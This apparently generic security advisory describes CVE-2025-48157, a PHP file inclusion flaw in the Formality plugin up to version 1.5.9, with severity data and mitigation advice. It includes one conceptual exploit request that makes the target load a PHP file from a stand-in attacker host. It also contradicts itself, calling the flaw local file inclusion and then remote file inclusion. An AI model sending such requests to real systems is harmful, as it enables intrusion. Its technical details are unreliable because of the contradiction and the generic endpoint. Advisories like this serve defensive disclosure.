Overview
A serious security vulnerability, identified as CVE-2025-48157, has recently been discovered affecting the software Formality by Michele Giorgi. The vulnerability is due to an improper control of filename for include/require statement in the PHP program, which in turn allows a PHP Local File Inclusion. This vulnerability could result in a potential system compromise or data leakage, posing a significant risk to the security and integrity of user data.
Formality versions up to and including 1.5.9 are impacted by this vulnerability. It is essential for organizations using this software to understand the potential risks, the manner in which the exploit works, and the necessary mitigation steps to protect their systems.
Vulnerability Summary
CVE ID: CVE-2025-48157
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Formality by Michele Giorgi | Up to and including 1.5.9
How the Exploit Works
The vulnerability stems from the PHP program’s improper control of filename for include/require statement. With this flaw, an attacker can manipulate the filename that the PHP include() and require() functions are calling. As a result, the attacker can trick the application into executing a PHP file from a remote server, hence the term “PHP Remote File Inclusion”. This could potentially lead to unauthorized access, data leakage, or even complete system compromise.
Conceptual Example Code
A conceptual example of how the vulnerability might be exploited is shown below. The attacker sends a malicious request to the vulnerable endpoint, which causes the application to include a malicious PHP file from a remote server.
GET /index.php?page=http://attackersite.com/malicious_file.php HTTP/1.1
Host: target.example.comMitigation Guidance
The most effective way to address this vulnerability is to apply the vendor patch. Michele Giorgi has released updates that rectify this issue in the Formality software. Users are strongly advised to update their software to the latest version.
However, if updating is not immediately possible, usage of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can detect and block attempts to exploit this vulnerability.
In the long term, it is recommended to follow best practices for secure coding, such as validating all inputs and not allowing user-supplied input to influence file include paths directly.
